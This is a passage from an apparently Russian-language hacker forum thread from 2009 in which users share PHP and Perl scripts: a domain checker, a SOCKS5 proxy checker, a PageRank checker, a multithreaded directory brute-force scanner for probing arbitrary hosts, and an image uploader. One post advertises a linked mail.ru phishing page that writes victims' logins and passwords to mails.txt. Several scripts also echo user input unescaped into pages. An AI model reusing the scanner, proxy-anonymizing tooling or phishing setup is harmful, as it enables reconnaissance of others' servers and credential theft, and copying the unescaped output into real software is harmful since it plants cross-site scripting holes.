elseif (strpos($data,'whois_answer(1);') !== false) echo '<font color="green">'.substr($url,43).'</font><br>';
else echo '<font color="black">'.substr($url,43).'</font><br>';
}
unset($conn,$mh,$mrc,$res,$active,$i);
echo '</div>';
}
?>
</center>
<div style="text-align:left; padding-left:8px; padding-bottom:5px; position:fixed; bottom:0; width:50%;">
<font color="red">site.com</font> - домен занят<br>
<font color="orange">site.com</font> - нет возможности проверить<br>
<font color="green">site.com</font> - домен свободен<br>
<font color="black">site.com</font> - произошла ошибка<br>
</div>
</body>
</html>
http://rapidshare.com/files/207337488/4_domen.php.html
а то пробелы форум лишние ставит=\
<html>
<head><title>Чикаем носки до дырок! || намазано цыфрами ..</title>
<link href="data:image/ico;base64,AAABAAEAEBAAAAAAAABoBQAAFgAAACgAAAAQAAA AIAAAAAEACAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAA QGbAAAAngABAJ4AAAC3AAACwgABAsIAAgC3AAACoQAAAK8AAQC vAAAAyAAAAb0AAQCnAAAAwAADAKcAAgDAAAAAnwAAALgAAgC4A AABrQABAa0AAACwAAACuwACALAAAADJAAABpQACAaUAAAG+AAA AqAACAKgAAADBAAIBnQAAAKAAAAC5AAIAuQAAAccAAwGuAAIBx wAAALEAAADKAAABpgABAb8AAACpAAMBvwACAKkAAADCAAABtwA AAKEAAQC6AAABrwACAa8AAACyAAMAsgAAAKoAAQCqAAAAwwD//v8AAAGfAAEAwwACAZ8AAAG4AAAAogACAKIAAgC7AAAAmgABAck AAACzAAMByQAAAcEAAAKdAAABoAABAMQAAAG5AAEBuQAAAKMAA QCjAAAAvAADALwAAQGxAAAAmwACAJsAAAC0AAEAtAD9//4AAAGpAAEBqQD///4AAgHCAAAArAABAaEAAAG6AAAApAABAKQAAAC9AAEAvQABAJwA +///AAABqgD9//8A////AAABwwABAcMAAACtAAEAxgAAAKUAAQClAAIAvgAAAbMAAQGzAA AAnQAAALYAAQC2AAMAtgABAasAAgGrAAECoAAAAK4AAQCuAAIA rgAAAMcAAAGjAAIAxwAAAKYAAAKxAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBuAREDP0xdKR0rWXYWAE ERAwNHOlwaHXs2FXZ8Q1JgUSBGSw0aHjdZcnY0CmxwPAI6MFpc HVYddWdkOW0EEyEIXF0PajZVWXdkZGRvEjF0IUsbHR1ZNwlkOV RDSk5NPlx7KR05OTljZDlSSSJeHHldaS05YhUWZGFvEiJfDA55 Hh1XFQoYT29kMSNNHGsuHVU2YVkWQ21sZBIMXgYfLlU3c1cYJ3 AEIzkxLB8fWGVWWXUYZFNTImNbDg4FZmYZFAozJ29jVGQMDA4f RWh6QiV1NW0SE0oxDg4uZjsmCygybEMHL0BNECpFOGhoeAtEAH EvPRJrFw4fOGhIJCgZAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI ABAAA=" rel="icon" type="image/x-icon">
<style type="text/css">
.clearfloat {
clear : both;
height : 0;
font-size : 1px;
line-height : 0;
}
</style>
</head>
<center>
<br><br><br><br><br><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbwAAABuCAIAAAD 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 aMAAAAAElFTkSuQmCC"><br><br>
<form method="POST">
<input style="width:215px; border: 1px #89B4CC solid;" type="text" name="proxy" align="center">
<input type="submit" value="submit" style="border:1px #89B4CC solid;"></td></table>
</form>
<?php
/*
от надувных шариков ещё никто не умирал ..
# # # # # # # # # # # # # # # # #
чекает носок на пригодность ..
(с) 159932
*/
set_time_limit(20);
if (isset($_POST['proxy'])){
$sock = $_POST['proxy'];
if (!preg_match('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}: \d{1,5}#',$sock)) die('<br><font color="orange" size="10">носок не верно связан</font>');
$kala4 = curl_init('http://cmyip.com/');
curl_setopt($kala4, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($kala4, CURLOPT_TIMEOUT, 20);
curl_setopt($kala4, CURLOPT_PROXY, $sock);
curl_setopt($kala4, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
$uups = curl_exec($kala4);
$a = explode(':',$sock);
if (preg_match("#$a[0]#",$uups)) echo '<br><font color="green" size="10">'.$sock.'</font>';
else echo '<br><font color="red" size="10">в дауне</font>';
}
?>
</center>
</html>
http://rapidshare.com/files/207338772/4_socks5.php.html
а то пробелы форум лишние ставит=\
<html>
<head><title>Хочешь поднять Pr сайта ? - ХУЙ - тут моно только чекать ..</title>
<style type="text/css">
.clearfloat {
clear:both;
height:0;
font-size:1px;
line-height:0;
}
</style>
</head>
<body><center><br><br><br><br><br>
<?
set_time_limit(0);
error_reporting(E_ALL);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
define('GOOGLE_MAGIC', 0xE6359A60);
function nooverflow($a){
while ($a<-2147483648)
$a+=2147483648+2147483648;
while ($a>2147483647)
$a-=2147483648+2147483648;
return $a;
}
function zeroFill ($x, $bits){
if ($bits==0) return $x;
if ($bits==32) return 0;
$y = ($x & 0x7FFFFFFF) >> $bits;
if (0x80000000 & $x)
{
$y |= (1<<(31-$bits));
}
return $y;
}
function mix($a,$b,$c){
$a=(int)$a; $b=(int)$b; $c=(int)$c;
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,13));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<8);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,13));
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,12));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<16);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,5));
$a -= $b; $a -= $c; $a=nooverflow($a); $a ^= (zeroFill($c,3));
$b -= $c; $b -= $a; $b=nooverflow($b); $b ^= ($a<<10);
$c -= $a; $c -= $b; $c=nooverflow($c); $c ^= (zeroFill($b,15));
return array($a,$b,$c);
}
function GoogleCH($url, $length=null, $init=GOOGLE_MAGIC) {
if(is_null($length)) {
$length = sizeof($url);
}
$a = $b = 0x9E3779B9;
$c = $init;
$k = 0;
$len = $length;
while($len >= 12) {
$a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24));
$b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24));
$c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24));
$mix = mix($a,$b,$c);
$a = $mix[0]; $b = $mix[1]; $c = $mix[2];
$k += 12;
$len -= 12;
}
$c += $length;
switch($len) /* all the case statements fall through */
{
case 11: $c+=($url[$k+10]<<24);
case 10: $c+=($url[$k+9]<<16);
case 9 : $c+=($url[$k+8]<<8);
/* the first byte of c is reserved for the length */
case 8 : $b+=($url[$k+7]<<24);
case 7 : $b+=($url[$k+6]<<16);
case 6 : $b+=($url[$k+5]<<8);
case 5 : $b+=($url[$k+4]);
case 4 : $a+=($url[$k+3]<<24);
case 3 : $a+=($url[$k+2]<<16);
case 2 : $a+=($url[$k+1]<<8);
case 1 : $a+=($url[$k+0]);
/* case 0: nothing left to add */
}
$mix = mix($a,$b,$c);
/*-------------------------------------------- report the result */
return $mix[2];
}
function strord($string) {
for($i=0;$i<strlen($string);$i++) {
$result[$i] = ord($string{$i});
}
return $result;
}
function get_pr($url) {
$result='error';
if (($url.""!="")&&($url.""!="http://")):
if (substr(strtolower($url),0,7)!="http://"):
$url="http://".$url;
endif;
$url="info:".$url;
$checksum=GoogleCH(strord($url));
$google_url=sprintf("http://www.google.com/search?client=navclient&ch=6%u&features=Rank&q=".$url,$checksum); // url to get from google
$handle = fopen($google_url, "rb");
$contents = '';
while (!feof($handle)) {
$contents.= fread($handle, 8192);
}
fclose($handle);
$p=explode(":",$contents);
if (isset($p[2])):
$result=trim($p[2]);
endif;
endif;
return $result;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
if (isset($_GET['url'])){
echo '<br><br><b>'.$_GET['url'].'</b><br><br><table style="border: 1px dashed #89B4CC;">
<td align="center" width="70"><b>Pr</b> '.get_pr($_GET['url']).'</td><td align="right" width="70"><img src="http://yandex.ru/cycounter?'.$_GET['url'].'"></td>
</table><br><img src="http://traffic.alexa.com/graph?c=2&u='.$_GET['url'].'&r=6m&y=t&z=1&h=160&w=300"></center></body></html>';
die;
}
echo '<form method="post"><textarea style="width:425px; height:185px; border: 1px #89B4CC solid;" type="text" name="urls" cols="70" rows="7"></textarea><br><br>ТиЦ <input type="checkbox" name="yandex" checked="checked"><br><br><input type="submit" style="width:225px; height:35px; border: 1px #89B4CC solid;" value="Отравить" alt="крысиным ядом"></form>';
if (isset($_POST['urls'])){
preg_match_all('#[a-z0-9-_\.]{1,50}\.[a-z]{2,4}#i',$_POST['urls'],$urls) or die('<font color="red" size="6">А вот хрен! Надо вбивать урлы однако!</font>');
$urls = array_unique($urls[0]);
$prs = array();
foreach ($urls as $ur){
$prs[$ur] = get_pr($ur);
}
arsort($prs);
echo '<table>';
if ($_POST['yandex'] == 'on') echo '<tr><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;">Url</td><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;" align="center">Pr</td><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;" align="right">ТиЦ</td></tr>';
else echo '<tr><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;">Url</td><td style="border-bottom : 1px dashed #CD5C5C; font-size:16;" align="right">Pr</td></tr>';
foreach ($prs as $url=>$pr){
echo '<tr>';
if ($_POST['yandex'] == 'on') echo '<td style="border-bottom : 1px dashed #89B4CC;" align="left">'.$url.'</td><td align="center" width="70" style="border-bottom : 1px dashed #89B4CC;">'.$pr.'</td><td align="right" width="70" style="border-bottom : 1px dashed #89B4CC;"><img src="http://yandex.ru/cycounter?'.$url.'"></td>';
else echo '<td style="border-bottom : 1px dashed #89B4CC;" align="left">'.$url.'</td><td align="right" width="70" style="border-bottom : 1px dashed #89B4CC;">'.$pr.'</td>';
echo '</tr>';
}
echo '</table></center>';
}
?>
</center></body></html>
гетом можно отправлять 1 урл, чек происходит также алексы .php?url=mail.ru
http://rapidshare.com/files/207358958/4_pr.php.html
а то пробелы форум лишние ставит=\
<html>
<head>
<title>Снифер-абфускатор-ёжикомер!</title>
<style type="text/css">
.clearfloat {
clear : both;
height : 0;
font-size : 1px;
line-height : 0;
}
</style>
</head>
<body><br><br><br>
Введите адрес исследуемого хоста.<br>
<form method="post">
<input name="url" type="text" style="width:205px; border: 1px #89B4CC solid; text-align:center" value="хост" onblur="if(this.value=='') this.value='хост';" onfocus="if(this.value=='хост') this.value='';"> /
<input name="path" type="text" style="width:110px; border: 1px #89B4CC solid; text-align:center" value="дира/ы" onblur="if(this.value=='') this.value='дира/ы';" onfocus="if(this.value=='дира/ы') this.value='';"> /
<input name="threads" type="text" style="width:58px; border: 1px #89B4CC solid; text-align:center" value="потоки" onblur="if(this.value=='') this.value='потоки';" onfocus="if(this.value=='потоки') this.value='';">
<input type="submit" value="бегин" style="border:1px #89B4CC solid;">
</form>
<br>
<pre>
<?
set_time_limit(0);
error_reporting(0);
ignore_user_abort();
$patt = ''; # путь до дир
if (isset($_POST['url'])) {
if ($_POST['url'] == 'хост') die('хост не введён');
if ($_POST['path'] != 'дира/ы') $path = $_POST['path'];
else $path = false;
if ($_POST['threads'] > 0) $cont = $_POST['threads'];
else $cont = 50; # кол-во потоков, если не введено - ставится пятдесят
$url = trim($_POST['url']);
$sta1 = microtime(true);
$fo = array_chunk(file($patt), $cont);
$fp = @fsockopen ($url, 80, $errno, $errstr, 30);
if (!$fp) echo 'Невозможно установить соединение с сервером.';
else {
$sea = fopen($url.'.htm','w');
fwrite($sea,'<html><title>'.$url.'</title><head><style>body {padding: 0px; margin:15px; color: #33FF33; background: #000000;}</style></head><body>');
echo '<hr><font color=\'DarkOrange\'>Host:'.$url.'</font><hr>';
$temp = array();
foreach ($fo as $dirs) {
$dirs = array_merge($dirs,$temp);
$temp = $ssh = $res = array();
$mh = curl_multi_init();
foreach ($dirs as $dir) {
$dir = trim($dir);
if ($dir[0] == '/') $dir = substr($dir, 1);
$ssh[$dir] = curl_init($url.'/'.($path = ($path) ? $path.'/' : '').$dir);
curl_setopt($ssh[$dir], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ssh[$dir], CURLOPT_HEADER, 1);
curl_setopt($ssh[$dir], CURLOPT_NOBODY, 1);
curl_setopt($ssh[$dir], CURLOPT_TIMEOUT, 240);
curl_multi_add_handle ($mh,$ssh[$dir]);
}
if (!sizeof($ssh)) continue;
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active and $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
foreach ($ssh as $i => $dir) {
$res[$i]=curl_multi_getcontent($ssh[$i]);
curl_multi_remove_handle($mh,$ssh[$i]);
curl_close($ssh[$i]);
}
curl_multi_close($mh);
foreach ($res as $dir=>$data) {
if (!strlen(trim($data))) {
++$arrors;
array_push($temp,$dir);
continue;
}
$data = explode("\n",$data);
$data = $data[0];
if (strpos($data,"200") or strpos($data,"201") or strpos($data,"202") or strpos($data,"203") or strpos($data,"204") or strpos($data,"205") or strpos($data,"206") or strpos($data,"207") or strpos($data,"226")) {
echo '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Yellow">'.$data.'</font>';
fwrite($sea, '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Yellow">'.$data."</font><br>\r\n");
}
if (strpos($data,"400") or strpos($data,"401") or strpos($data,"402") or strpos($data,"403") or strpos($data,"405") or strpos($data,"406") or strpos($data,"407") or strpos($data,"408") or strpos($data,"409") or strpos($data,"410") or strpos($data,"411") or strpos($data,"412") or strpos($data,"413") or strpos($data,"414") or strpos($data,"415") or strpos($data,"416") or strpos($data,"417") or strpos($data,"422") or strpos($data,"423") or strpos($data,"424") or strpos($data,"426")) {
echo '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Red">'.$data.'</font>';
fwrite($sea, '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Red">'.$data."</font><br>\r\n");
}
if (strpos($data,"300") or strpos($data,"301") or strpos($data,"302") or strpos($data,"303") or strpos($data,"304") or strpos($data,"305") or strpos($data,"306") or strpos($data,"307")) {
echo '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Navy">'.$data.'</font>';
fwrite($sea, '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="Navy">'.$data."</font><br>\r\n");
}
if (strpos($data,"500") or strpos($data,"501") or strpos($data,"502") or strpos($data,"503") or strpos($data,"504") or strpos($data,"505") or strpos($data,"506") or strpos($data,"507") or strpos($data,"510")) {
echo '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="DarkOrange">'.$data.'</font>';
fwrite($sea, '<a href="http://'.$url.'/'.$dir.'">'.$dir.'</a> <font color="DarkOrange">'.$data."</font><br>\r\n");
}
}
flush();
}
if ($cont > 20) sleep($cont/20); # если кол-во потоков более 20ти штук, идёт слип каждые [потоки/20] секунд (просто мне так захотелось)
$end = microtime(true) - $sta1;
fwrite($sea, $end);
fclose($sea);
fclose($fp);
}
}
?>
</pre>
</body>
</html>
http://rapidshare.com/files/207340257/index.php.html
а то пробелы форум лишние ставит=\
Pashkela
10.03.2009, 04:15
Работает во всех браузерах, сразу заходит в почту, есть выбор домена (inbox.ru, mail.ru и etc.), всё в одном файле:
index.php:
http://slil.ru/27037711
(просто код большой, сюда не влазит)
Все логины/пароли пишутся в mails.txt в том же каталоге, где и этот index.php
скрипт загрузки изображений на radikal.ru
perl
#! /usr/bin/perl
use IO::Socket::INET;
# forming header's ..
$request1 = "POST http://www.radikal.ru/action.aspx HTTP/1.1\r\n".
"Host: www.radikal.ru\r\n".
"User-Agent: Mozilla/5.0\r\n".
"Connection: close\r\n".
"Referer: http://www.radikal.ru\r\n".
"Content-Type: multipart/form-data; boundary=:boundary:\r\n".
"Content-Length: :length:\r\n\r\n";
$request2 = "--:boundary:\r\n".
"Content-Disposition: form-data; name=\"upload\"\r\n".
"\r\nyes\r\n".
"--:boundary:\r\n".
"Content-Disposition: form-data; name=\"F\"; filename=\":name:\"\r\n".
"Content-Type: image/:type:\r\n\r\n";
# file name,type
$file = shift or die "use: $0 <image>\n";
$fsize = -s $file;
($fname) = $file =~ /([^\/]+)$/;
($ftype) = $fname =~ /\.([^\.]+)$/;
unless($fname && $ftype) { die "[-] invalid filename\n"; }
# read file
open FID, $file or die "[-] failed to open $file!\n";
sysread(FID, $data, $fsize);
close FID;
$boundry = '---------------------------2132365407679';
$request2 =~ s/:boundary:/$boundry/;
$request2 =~ s/:boundary:/$boundry/;
$request2 =~ s/:name:/$fname/;
$request2 =~ s/:type:/$ftype/;
$request2 .= $data."\r\n--$boundry--\r\n";
$length = length($request2);
$request1 =~ s/:boundary:/$boundry/;
$request1 =~ s/:length:/$length/;
$request1 .= $request2;
# create socket
*SOCK = IO::Socket::INET->new(
PeerAddr => "radikal.ru",
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM)
or die("[-] connection failed!\n");
# read sock answer
$buff = "";
print SOCK $request1;
while($line = <SOCK>){
$buff .= $line;
if ($line=~/<\/html>/) {last;}
}
close SOCK;
# parce
$buff =~ /<a href="http:\/\/(.*)" target="_blank">/;
print 'Link: http://'.$1."\n";
Shadow_p1raT
10.03.2009, 17:07
Писал когда учил php)Может кому пригодится.
Функция для обработки массивов в массивах :-)
function reBuild($array) {
foreach($array as $key=>$value) {
if(is_array($value)) {
$array[$key] = reBuild($value);
continue;
}
$array[$key] = htmlspecialchars($value);
}
return $array;
}
$_GET = reBuild($_GET);
Или так
$in = array(&$_GET, &$_POST, &$_COOKIE);
while (list($k, $v) = each($in)) {
foreach ($v as $key => $val) {
if (!is_array($val)) {
$in[$k][$key] = htmlspecialchars($val);
continue;
}
$in[] = &$in[$k][$key];
}
}
unset($in);
RegStuff
